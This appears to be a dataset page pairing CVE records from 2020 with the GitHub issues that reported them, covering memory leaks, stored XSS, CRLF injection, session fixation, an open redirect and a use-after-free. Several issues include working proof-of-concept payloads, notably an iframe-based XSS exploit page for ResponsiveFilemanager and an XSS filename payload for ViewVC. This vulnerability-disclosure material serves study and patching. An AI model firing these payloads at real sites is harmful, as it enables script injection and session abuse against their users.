Eathus/github-issues-references-max · Datasets at Hugging Face

CVE-2020-11104

2020-03-30T22:15:15.117

An issue was discovered in USC iLab cereal through 1.3.0. Serialization of an (initialized) C/C++ long double variable into a BinaryArchive or PortableBinaryArchive leaks several bytes of stack or heap memory, from which sensitive information (such as memory layout or private keys) can be gleaned if the archive is distributed outside of a trusted context.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/USCiLab/cereal/issues/625" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/USCiLab/cereal/issues/625" } ]

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[ "908" ]

908

https://github.com/USCiLab/cereal/issues/625

[ "Exploit", "Third Party Advisory" ]

github.com

[ "USCiLab", "cereal" ]

Serializing the C/C++ native type ```long double``` stores uninitialized data into the serialized form. Compile and run the following program with valgrind to observe this. ```cpp #include <cereal/archives/binary.hpp> #include <stdio.h> #include <sstream> #include <string> int main(void) { std::stringstream ss; { cereal::BinaryOutputArchive archive(ss); long double v = 123; archive(v); } { const auto s = ss.str(); FILE* fp = fopen("/dev/null", "wb"); fwrite(s.data(), s.size(), 1, fp); fclose(fp); } return 0; } ``` It is apparently an inherent trait of the ```long double``` type that even an initialized variable leaves some of its raw storage uninitialized. This gives valgrind errors when compiled with both gcc and clang: ```c #include <stdio.h> int main(void) { long double v = 0; for (int i = 0; i < sizeof(v); i++) { printf("%02X", *(((unsigned char*)&v)+i)); } } ```

Serializing long double variables leaks uninitialized memory

https://api.github.com/repos/USCiLab/cereal/issues/625/comments

4

2020-03-03T02:10:37Z

2020-04-03T10:05:01Z

https://github.com/USCiLab/cereal/issues/625

574,368,150

625

1,146

CVE-2020-11105

2020-03-30T22:15:15.180

An issue was discovered in USC iLab cereal through 1.3.0. It employs caching of std::shared_ptr values, using the raw pointer address as a unique identifier. This becomes problematic if an std::shared_ptr variable goes out of scope and is freed, and a new std::shared_ptr is allocated at the same address. Serialization fidelity thereby becomes dependent upon memory layout. In short, serialized std::shared_ptr variables cannot always be expected to serialize back into their original values. This can have any number of consequences, depending on the context within which this manifests.

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[ "763" ]

763

https://github.com/USCiLab/cereal/issues/636

[ "Exploit", "Third Party Advisory" ]

github.com

[ "USCiLab", "cereal" ]

Cereal employs caching of ```std::shared_ptr``` values, using the raw pointer as a unique identifier. This becomes problematic if an ```std::shared_ptr``` variable goes out of scope and is freed, and a new ```std::shared_ptr``` is allocated at the same address. Serialization fidelity thereby becomes dependent upon memory layout. ```cpp #include <cereal/archives/binary.hpp> #include <cereal/types/memory.hpp> int main(void) { std::stringstream ss; { cereal::BinaryOutputArchive archiveOut(ss); { std::shared_ptr<bool> v = std::make_shared<bool>(true); archiveOut(v); printf("v is %p\n", v.get()); printf("serialized: %d\n", *v); } { std::shared_ptr<bool> v = std::make_shared<bool>(false); archiveOut(v); printf("v is %p\n", v.get()); printf("serialized: %d\n", *v); } } { cereal::BinaryInputArchive archiveIn(ss); std::shared_ptr<bool> v1, v2; archiveIn(v1); printf("deserialized: %d\n", *v1); archiveIn(v2); printf("deserialized: %d\n", *v2); } return 0; } ``` Output is: ``` v is 0x5578c0144ec0 serialized: 1 v is 0x5578c0144ec0 serialized: 0 deserialized: 1 deserialized: 1 ``` The input is (true, false) but the output is (true, true).

std::shared_ptr serialization asymmetry (depends on memory layout)

https://api.github.com/repos/USCiLab/cereal/issues/636/comments

4

2020-03-27T23:28:34Z

2021-02-01T23:50:29Z

https://github.com/USCiLab/cereal/issues/636

589,460,463

636

1,147

CVE-2020-11106

2020-03-30T22:15:15.243

An issue was discovered in Responsive Filemanager through 9.14.0. In the dialog.php page, the session variable $_SESSION['RF']["view_type"] wasn't sanitized if it was already set. This made stored XSS possible if one opens ajax_calls.php and uses the "view" action and places a payload in the type parameter, and then returns to the dialog.php page. This occurs because ajax_calls.php was also able to set the $_SESSION['RF']["view_type"] variable, but there it wasn't sanitized.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/trippo/ResponsiveFilemanager/issues/603" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/trippo/ResponsiveFilemanager/issues/603" } ]

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[ "79" ]

79

https://github.com/trippo/ResponsiveFilemanager/issues/603

[ "Exploit", "Third Party Advisory" ]

github.com

[ "trippo", "ResponsiveFilemanager" ]

After taking another look at the ResponsiveFilemanager 9.14.0 i noticed that in the dialog.php file on line 197 that if the $_SESSION['RF']["view_type"] is already set that there would not be done any validation or would it take the data from the config. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L197 This created a problem because in ajax_calls.php in the "view" action in the "type" parameter it is possible to set that value without any validation. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/ajax_calls.php#L53 This means if you would first request a session by going to the dialog.php, than going to the ajax_calls.php and request the view action and as "type" parameter you give a html tag. Than if you done al that go back to the dialog.php page than $_SESSION['RF']["view_type"] would be read and unescaped placed on all places where $view is used what created stored xss until the session isn't valid anymore. A very simple patch would be to add fix_get_params() in the dialog.php on line 197 when the $view is set. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L197 I made a simple html file you can use to validate this vulnerability. It is made for Firefox because it does make use of iframe's and a clickjacking vulnerability but if the session was already set than this would also work in other browsers with a miner change. you would need to change all "http://192.168.0.29:3001" to your website. When runned it would make 3 iframe's. One to request the dialog.php file to get a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager. Second it would open the ajax_calls.php to set the html tag. And tirth it reopens the dialog.php page to trigger the stored xss ```html <!DOCTYPE html> <html> <head> <script> var url = "http://192.168.0.29:3001"; /** Execute the "view" action in ajax_calls.php and set as "type" a html tag. This will set $_SESSION['RF']["view_type"] on line 53 as my html tag. https://github.com/trippo/ResponsiveFilemanager/blob/428069746fabcef495b44d690bec20a05279a194/filemanager/ajax_calls.php#L53 **/ function iframe1(){ var ifrm = document.createElement("iframe"); ifrm.setAttribute("src", url+"/filemanager/ajax_calls.php?action=view&type=%22%3E%3Cimg/src=%27x%27/onerror=alert(document.domain)%3E", "myWindow", "width=200, height=100"); ifrm.setAttribute("onload", "iframe2();"); ifrm.setAttribute("style", "visibility: hidden;"); ifrm.style.width = "640px"; ifrm.style.height = "480px"; document.body.appendChild(ifrm); } /** Go back to the dialog.php to trigger a xss starting at line 197 because when $_SESSION['RF']["view_type"] is already set and the view parameter isn't set than it would not take the data from the $config['default_view'] but uses the old data from $_SESSION['RF']["view_type"]. And if view isn't set than it won't execute fix_get_params() what would prevented xss. because in ajax_calls.php this value wasn't sanitized with fix_get_params() when we setted the $_SESSION['RF']["view_type"] there is a stored xss until the session is expired. https://github.com/trippo/ResponsiveFilemanager/blob/428069746fabcef495b44d690bec20a05279a194/filemanager/dialog.php#L197 https://github.com/trippo/ResponsiveFilemanager/blob/61f6b6d7d4ca2544afa55e358cb948951d6525f6/filemanager/include/utils.php#L675 **/ function iframe2(){ var ifrm1 = document.createElement("iframe"); ifrm1.setAttribute("src", url+"/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/", "myWindow", "width=200, height=100"); ifrm1.setAttribute("style", "visibility: hidden;"); ifrm1.style.width = "640px"; ifrm1.style.height = "480px"; document.body.appendChild(ifrm1); } </script> </head> <body>  <iframe src="http://192.168.0.29:3001/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/", width=200, height=100 onload="iframe1();" style="visibility: hidden;" sandbox> </body> </html> ``` A CVE has been requested.

Stored xss in v9.14.0 in dialog.php in $_SESSION['RF']["view_type"] because of no validation if ajax_calls.php setted this session.

https://api.github.com/repos/trippo/ResponsiveFilemanager/issues/603/comments

1

2020-03-28T11:53:58Z

2020-03-31T00:13:52Z

https://github.com/trippo/ResponsiveFilemanager/issues/603

589,562,673

603

1,148

CVE-2020-11111

2020-03-31T05:15:13.007

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.activemq.* (aka activemq-jms, activemq-core, activemq-pool, and activemq-pool-jms).

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[ "502" ]

502

https://github.com/FasterXML/jackson-databind/issues/2664

[ "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

Another gadget type(s) reported regarding classes of `org.apache.activemq:activemq-pool`, `org.apache.activemq:activemq-pool-jms` libraries. See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Mitre id: CVE-2020-11111 Reporter: Srikanth Ramu Fix will be included in: * 2.9.10.4 * Does not affect 2.10.0 and later

Block one more gadget type (activemq-pool[-jms], CVE-2020-11111)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2664/comments

2

2020-03-24T17:04:06Z

2020-12-02T03:59:26Z

https://github.com/FasterXML/jackson-databind/issues/2664

587,124,374

2,664

1,149

CVE-2020-11112

2020-03-31T05:15:13.070

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.proxy.provider.remoting.RmiProvider (aka apache/commons-proxy).

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[ "502" ]

502

https://github.com/FasterXML/jackson-databind/issues/2666

[ "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

Another gadget type(s) reported regarding a class of `org.apache.commons:commons-proxy` library. See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Mitre id: CVE-2020-11112 Reporter: Yiting Fan Fix will be included in: * 2.9.10.4 * Does not affect 2.10.0 and later

Block one more gadget type (apache/commons-proxy, CVE-2020-11112)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2666/comments

0

2020-03-25T17:06:51Z

2020-12-02T03:59:15Z

https://github.com/FasterXML/jackson-databind/issues/2666

587,851,588

2,666

1,150

CVE-2020-11113

2020-03-31T05:15:13.117

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.openjpa.ee.WASRegistryManagedRuntime (aka openjpa).

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[ "502" ]

502

https://github.com/FasterXML/jackson-databind/issues/2670

[ "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

Another gadget type(s) reported regarding class(es) of `org.apache.openjpa:openjpa`. library. See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Mitre id: CVE-2020-11113 Reporter: XuYuanzhen (of Alibaba Cloud Security Team) Fix will be included in: * 2.9.10.4 * Does not affect 2.10.0 and later

Block one more gadget type (openjpa, CVE-2020-11113)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2670/comments

0

2020-03-28T18:08:54Z

2020-04-07T01:41:29Z

https://github.com/FasterXML/jackson-databind/issues/2670

589,629,001

2,670

1,151

CVE-2020-11441

2020-03-31T17:15:26.497

phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/phpmyadmin/phpmyadmin/issues/16056" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/phpmyadmin/phpmyadmin/issues/16056" } ]

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[ "74" ]

74

https://github.com/phpmyadmin/phpmyadmin/issues/16056

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "phpmyadmin", "phpmyadmin" ]

### Describe the bug The login form does not properly escape CRLF sequences, this can lead to HTML entity injection at the very least, or reflected XSS at the very worst. ### To Reproduce Steps to reproduce the behavior: 1. Go to 'index.php' 2. Insert into the login fields, username, password, and the hidden field of target, and insert this value into those fields: %0D%0Astring%0D%0A and the login error will display the injected CRLF sequences, and injected url encoded entities, such as single or double quotes(double quotes are not as effective as single quotes). ### Expected behavior I expected the application to drop/filter out the CRLF sequences seeing as an issue similar was detected back in 2005. ### Screenshots ![proof](https://user-images.githubusercontent.com/11233163/77866711-1ff6f200-7202-11ea-808f-00635e496fe8.jpeg) ![proof2](https://user-images.githubusercontent.com/11233163/77866745-474dbf00-7202-11ea-907d-54b90ce44739.jpeg) ### Server configuration - Operating system: Ubuntu - Web server: Apache - Database version: MySQL - PHP version: most recent. - phpMyAdmin version: most recent. ### Client configuration - Browser: Firefox - Operating system: Windows 10 ### Additional context None.

CRLF/HTML entity injection with most recent version of PHPMyAdmin

https://api.github.com/repos/phpmyadmin/phpmyadmin/issues/16056/comments

19

2020-03-30T01:21:02Z

2022-07-16T00:27:33Z

https://github.com/phpmyadmin/phpmyadmin/issues/16056

589,932,745

16,056

1,152

CVE-2020-5290

2020-04-01T20:15:15.223

In RedpwnCTF before version 2.3, there is a session fixation vulnerability in exploitable through the `#token=$ssid` hash when making a request to the `/verify` endpoint. An attacker team could potentially steal flags by, for example, exploiting a stored XSS payload in a CTF challenge so that victim teams who solve the challenge are unknowingly (and against their will) signed into the attacker team's account. Then, the attacker can gain points / value off the backs of the victims. This is patched in version 2.3.

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[ "384" ]

384

https://github.com/redpwn/rctf/issues/147

[ "Exploit", "Third Party Advisory" ]

github.com

[ "redpwn", "rctf" ]

### Description There is a session fixation vulnerability in rCTF exploitable through the `#token=$ssid` hash when making a request to the `/verify` endpoint. #### Vulnerable code ```js document.title = 'Verify' + config.ctfTitle const prefix = '#token=' if (document.location.hash.startsWith(prefix)) { route('/verify', true) const verifyToken = document.location.hash.substring(prefix.length) verify({ verifyToken }) .then(errors => { this.setState({ errors }) }) } ``` ### Exploitation Scenario An attacker team could potentially steal flags by, for example, exploiting a stored XSS payload in a CTF challenge so that victim teams who solve the challenge are unknowingly (and against their will) signed into the attacker team's account. Then, the attacker can gain points / value off the backs of the victims. ### Reproduction Steps 1. Create two teams: an attacker, and a victim. Sign into the victim's account. 2. Make an HTTP request to `/verify#hash=$ssid` where `$ssid` is the attacker's team code. 3. Observe that you have been logged in as the attacker. ### Extra Details #### Commit that introduced the vulnerability https://github.com/redpwn/rctf/commit/1f91230793e9c16949d0495c561616a3209e1ae6#diff-95a87eb07806dffb6d81c2ffdd27f8f5R16-R32 #### Potential solution Instead of having the verification email link immediately sign users in, have it be purely for confirmation purposes. After opening the verification link and verifying the email address, the original registration page--which is polling the server for updates--would receive word that the email is verified. It would then log in without requiring a session ID from user input.

Session fixation vulnerability in /verify

https://api.github.com/repos/redpwn/rctf/issues/147/comments

0

2020-03-29T07:04:38Z

2020-04-01T23:21:44Z

https://github.com/redpwn/rctf/issues/147

589,734,776

147

1,153

CVE-2019-11254

2020-04-01T21:15:13.397

The Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7 and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML.

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[ { "source": "jordan@liggitt.net", "tags": [ "Third Party Advisory" ], "url": "https://github.com/kubernetes/kubernetes/issues/89535" }, { "source": "jordan@liggitt.net", "tags": [ "Third Party Advisory" ], "url": "https://groups.google.com/d/msg/kubernetes-announce/ALL9s73E5ck/4yHe8J-PBAAJ" }, { "source": "jordan@liggitt.net", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20200413-0003/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/kubernetes/kubernetes/issues/89535" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://groups.google.com/d/msg/kubernetes-announce/ALL9s73E5ck/4yHe8J-PBAAJ" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20200413-0003/" } ]

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[ "1050" ]

1050

https://github.com/kubernetes/kubernetes/issues/89535

[ "Third Party Advisory" ]

github.com

[ "kubernetes", "kubernetes" ]

CVE-2019-11254 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML payloads to cause kube-apiserver to consume excessive CPU cycles while parsing YAML. The issue was discovered via the fuzz test kubernetes/kubernetes#83750. **Affected components:** Kubernetes API server **Affected versions:** <= v1.15.9, resolved in 1.15.10 by https://github.com/kubernetes/kubernetes/pull/87640 v1.16.0-v1.16.7, resolved in 1.16.8 by https://github.com/kubernetes/kubernetes/pull/87639 v1.17.0-v1.17.2, resolved in 1.17.3 by https://github.com/kubernetes/kubernetes/pull/87637 Fixed in master by https://github.com/kubernetes/kubernetes/pull/87467 **How do I mitigate this vulnerability?** Prior to upgrading, these vulnerabilities can be mitigated by preventing unauthenticated or unauthorized access to kube-apiserver.

CVE-2019-11254: kube-apiserver Denial of Service vulnerability from malicious YAML payloads

https://api.github.com/repos/kubernetes/kubernetes/issues/89535/comments

2

2020-03-26T18:55:26Z

2022-08-23T02:18:32Z

https://github.com/kubernetes/kubernetes/issues/89535

588,652,998

89,535

1,154

CVE-2020-11499

2020-04-02T23:15:13.097

Firmware Analysis and Comparison Tool (FACT) 3 has Stored XSS when updating analysis details via a localhost web request, as demonstrated by mishandling of the tags and version fields in helperFunctions/mongo_task_conversion.py.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/fkie-cad/FACT_core/issues/375" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/fkie-cad/FACT_core/pull/376" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/fkie-cad/FACT_core/issues/375" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/fkie-cad/FACT_core/pull/376" } ]

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[ "79" ]

79

https://github.com/fkie-cad/FACT_core/issues/375

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "fkie-cad", "FACT_core" ]

The application does not sanitize the user input when updating the details of a firmware. When updating the firmware details, the applications posts the data to the "upload-analysis/[uid]" page. That page then runs the function "_get_meta_from_request()" within the /src/helperFunctions/mongo_task_conversion.py script. I tested the "tags" and "version" fields by adding JavaScript to the updated fields (it looks like other fields are possibly vulnerable too). This data is not sanitized and is stored in the application. Each time a page is requested with this information, the JavaScript is ran. I added some screenshots to help. Using the "escape" function within flask could be a solution to sanitize the input. I tested it against the version field and it worked. Let me know if there are any additional questions. ![1_post](https://user-images.githubusercontent.com/4932619/77856521-6118e300-71bd-11ea-9cff-65b243ef2ced.png) Adding js to the tags field ![3_injected](https://user-images.githubusercontent.com/4932619/77856528-6b3ae180-71bd-11ea-8d83-9c5c0a819e0d.png) When browsing to the home page it loads the js ![2_popup](https://user-images.githubusercontent.com/4932619/77856529-6d9d3b80-71bd-11ea-9f92-1209f04ed1d7.png) js is executed ![4_sourcecode_escape](https://user-images.githubusercontent.com/4932619/77856532-7130c280-71bd-11ea-87a1-788b3cdada8f.png) Used the escape function to sanitize the input ![5_escaped](https://user-images.githubusercontent.com/4932619/77856537-755ce000-71bd-11ea-9c42-7fa675aa1c68.png)

Stored XSS when updating analysis details

https://api.github.com/repos/fkie-cad/FACT_core/issues/375/comments

3

2020-03-29T18:07:13Z

2020-03-31T11:56:40Z

https://github.com/fkie-cad/FACT_core/issues/375

589,848,961

375

1,155

CVE-2020-5283

2020-04-03T00:15:11.943

ViewVC before versions 1.1.28 and 1.2.1 has a XSS vulnerability in CVS show_subdir_lastmod support. The impact of this vulnerability is mitigated by the need for an attacker to have commit privileges to a CVS repository exposed by an otherwise trusted ViewVC instance that also has the `show_subdir_lastmod` feature enabled. The attack vector involves files with unsafe names (names that, when embedded into an HTML stream, would cause the browser to run unwanted code), which themselves can be challenging to create. This vulnerability is patched in versions 1.2.1 and 1.1.28.

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[ "79" ]

79

https://github.com/viewvc/viewvc/issues/211

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "viewvc", "viewvc" ]

**Describe the bug** When the `show_subdir_lastmod` option is enabled, ViewVC shows for directories in the directory view the log message of the most recently modified child thereof, along with the child file's name and revision number. Unfortunately, the child file's name is not properly HTML-escaped. **Steps to reproduce the behavior** 1. In a CVS repository, copy the `,v` backing file for any non-dead versioned file into an otherwise empty subdirectory of the repository. ``` $ cd /opt/cvs/MyCVSRepository $ mkdir new-module $ cp some/existing/file.v 'new-module/<img src="#" onerror="alert(1)">.txt,v' ``` 2. Ensure that `show_subdir_lastmod` is enabled in your `viewvc.conf` file (restarting any relevant servers). 3. In ViewVC, visit the parent directory of the newly created file. ViewVC will pass the name of your newly created file (minus the `,v` bit) to the browser without escaping that name for safe HTML transport. In this specific example, a JavaScript alert dialog will appear with the message "1". **Expected behavior** ViewVC should relay the name of the last-modified file, properly escaped.

XSS vulnerability: CVS lastlog filename not escaped

https://api.github.com/repos/viewvc/viewvc/issues/211/comments

2

2020-03-26T18:08:02Z

2020-03-31T09:35:52Z

https://github.com/viewvc/viewvc/issues/211

588,621,766

211

1,156

CVE-2020-10689

2020-04-03T15:15:14.420

A flaw was found in the Eclipse Che up to version 7.8.x, where it did not properly restrict access to workspace pods. An authenticated user can exploit this flaw to bypass JWT proxy and gain access to the workspace pods of another user. Successful exploitation requires knowledge of the service name and namespace of the target pod.

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[ { "source": "secalert@redhat.com", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10689" }, { "source": "secalert@redhat.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/eclipse/che/issues/15651" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10689" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/eclipse/che/issues/15651" } ]

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[ "862" ]

862

https://github.com/eclipse/che/issues/15651

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "eclipse", "che" ]

### Is your task related to a problem? Please describe. Under some conditions, there is a possibility to reach the port of one workspace from another workspace. To improve the isolation of the major Eclipse Che components we would like to. ### Describe the solution you'd like 1. Use single pod for jwt proxy and other workspace containers. 2. make machine-exec, theia-remote-runtime and theia endpoints listening to localhost only ### Describe alternatives you've considered n/a ### Additional context n/a

Improve isolation of Che theia and che-machine-exec components

https://api.github.com/repos/eclipse-che/che/issues/15651/comments

13

2020-01-10T11:56:26Z

2020-03-06T16:05:15Z

https://github.com/eclipse-che/che/issues/15651

548,039,947

15,651

1,157

CVE-2020-11529

2020-04-04T19:15:11.537

Common/Grav.php in Grav before 1.7 has an Open Redirect. This is partially fixed in 1.6.23 and still present in 1.6.x.

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[ "601" ]

601

https://github.com/getgrav/grav/issues/3134

[ "Third Party Advisory" ]

github.com

[ "getgrav", "grav" ]

## Environment grav version: v1.6.31 - Admin v1.9.19 php: 7.4 and 7.2 tested ## Problem If grav is on root folder on a domain it seems there is a open redirect. ## Fist analysis Origin of the problem seems to be the redirect by setting `Redirect trailing slash` on. ## Examples Open redirect if on root folder: https://yourdomain.example/%252f%255cwelovetoexploit%252fa%253fb/ Response header (short): > 302 Found > location | /\welovetoexploit/a?b It redirects to: `welovetoexploit/a?b` --- Less(?) a problem if in subfolder: https://yourdomain.example/gravsubfolder/%252f%255cwelovetoexploit%252fa%253fb/ Response header (short): > 302 Found > location /gravsubfolder/\welovetoexploit/a?b --- Current version 1.7 seems to be fixed example: https://getgrav.org/%252f%255cwelovetoexploit%252fa%253fb/ ## Reference * CVE-2020-11529 * https://github.com/getgrav/grav/commit/2eae104c7a4bf32bc26cb8073d5c40464bfda3f7#commitcomment-39942387

[Security] Open redirect with trailing slash redirect

https://api.github.com/repos/getgrav/grav/issues/3134/comments

6

2021-01-06T15:12:06Z

2021-03-31T17:49:45Z

https://github.com/getgrav/grav/issues/3134

780,624,397

3,134

1,158

CVE-2020-11558

2020-04-05T20:15:12.650

An issue was discovered in libgpac.a in GPAC 0.8.0, as demonstrated by MP4Box. audio_sample_entry_Read in isomedia/box_code_base.c does not properly decide when to make gf_isom_box_del calls. This leads to various use-after-free outcomes involving mdia_Read, gf_isom_delete_movie, and gf_isom_parse_movie_boxes.

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[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/6063b1a011c3f80cee25daade18154e15e4c058c" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1440" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/6063b1a011c3f80cee25daade18154e15e4c058c" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1440" } ]

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[ "416" ]

416

https://github.com/gpac/gpac/issues/1440

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ Hi GPAC Team, I found 3 new UAF bugs on the lastest commit 56eaea8 of GPAC version 0.8.0. I think it is probably due to **an imcomplete fix** of the UAF bug https://github.com/gpac/gpac/issues/1340. Actually, these new bugs share the same buggy function which is `gf_isom_box_del()` in src/isomedia/box_funcs.c with https://github.com/gpac/gpac/issues/1340, but have different alloc function `esds_New()` in `src/isomedia/box_code_base.c` (instead of `stco_New()`). Command: `MP4Box -info $POC` or `MP4Box -diso $POC` #### 1) UAF Bug 1 PoC: https://github.com/strongcourage/PoCs/blob/master/gpac_56eaea8/uaf1 ASAN says: ~~~ ================================================================= ==31565==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400000dde8 at pc 0x0000006c601e bp 0x7fff726c3b70 sp 0x7fff726c3b60 READ of size 8 at 0x60400000dde8 thread T0 #0 0x6c601d in gf_isom_box_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1504 #1 0x6c5f5e in gf_isom_box_array_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:272 #2 0x6c5f5e in gf_isom_box_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1520 #3 0x6c5f5e in gf_isom_box_array_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:272 #4 0x6c5f5e in gf_isom_box_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1520 #5 0x6c5f5e in gf_isom_box_array_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:272 #6 0x6c5f5e in gf_isom_box_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1520 #7 0x6c5f5e in gf_isom_box_array_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:272 #8 0x6c5f5e in gf_isom_box_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1520 #9 0x6c72cd in gf_isom_box_array_read_ex /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1427 #10 0xae0b0f in mdia_Read /home/dungnguyen/fuzz/gpac/src/isomedia/box_code_base.c:3021 #11 0x6c6456 in gf_isom_box_read /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1532 #12 0x6c6456 in gf_isom_box_parse_ex /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:210 #13 0x6c6e02 in gf_isom_box_array_read_ex /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1425 #14 0xaeffe8 in trak_Read /home/dungnguyen/fuzz/gpac/src/isomedia/box_code_base.c:7188 #15 0x6c6456 in gf_isom_box_read 